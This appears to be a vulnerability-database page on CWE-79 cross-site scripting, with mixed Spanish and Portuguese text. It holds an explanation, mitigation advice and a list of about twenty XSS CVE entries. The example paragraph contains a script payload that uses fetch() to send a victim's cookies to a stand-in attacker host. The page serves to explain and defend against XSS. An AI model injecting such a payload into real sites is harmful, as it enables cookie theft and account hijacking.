Fallos del tipo CWE-79

30.496 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-103587MEDIUMQloApps through 1.7.0 Reflected XSS via Book Now Search ParametersEPSS 0.2%CVE-2025-49932MEDIUMWordPress JetBlog plugin <= 2.4.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-52838LOWEasy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSSEPSS 0.2%CVE-2025-67078MEDIUMCross site scripting (XSS) vulnerability in Omnispace Agora Project before 25.10 allowing attackers to execute arbitrary code via the notifyEPSS 0.2%CVE-2025-62857LOWQuMagieEPSS 0.2%CVE-2025-14506MEDIUMConvertForce Popup Builder <= 0.0.7 - Stored Cross-Site Scripting via entrance_animationEPSS 0.2%CVE-2025-70297MEDIUMA stored cross-site scripting (XSS) vulnerability in the recipe asset upload and media serving component in Mealie 3.3.1 allows remote autheEPSS 0.2%CVE-2025-22808MEDIUMWordPress Surbma | Premium WP plugin <= 9.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-32932MEDIUMAn Improper neutralization of input during web page generation ('cross-site scripting') vulnerability [CWE-79] in FortiSOAR version 7.6.1 anEPSS 0.2%CVE-2025-22321MEDIUMWordPress ElementsCSS Addons for Elementor plugin <= 1.0.8.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-22819MEDIUMWordPress Qr Code and Barcode Scanner Reader plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-13887MEDIUMAI BotKit <= 1.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2024-49793MEDIUMIBM ApplinX Cross-Site ScriptingEPSS 0.2%CVE-2025-55107MEDIUMBUG-000177335 ArcGIS Enterprise Sites has a stored Cross-site Scripting vulnerability.EPSS 0.2%CVE-2025-59987MEDIUMJunos Space: The arbitrary device search field is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-57874MEDIUMBUG-000161627 - Reflected XSS vulnerability in Portal for ArcGIS.  (11.3, 11.1, 10.9.1)EPSS 0.2%CVE-2026-24665HIGHOpen eClass is Vulnerable to Stored Cross-Site Scripting (XSS) via Student Assignment UploadEPSS 0.2%CVE-2025-59991MEDIUMJunos Space: Device Management pages are vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-46542MEDIUMWordPress Xpert Tab plugin <= 1.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-20280MEDIUMCisco Evolved Programmable Network Manager and Cisco Prime Infrastructure Stored Cross-Site Scripting VulnerabilityEPSS 0.2%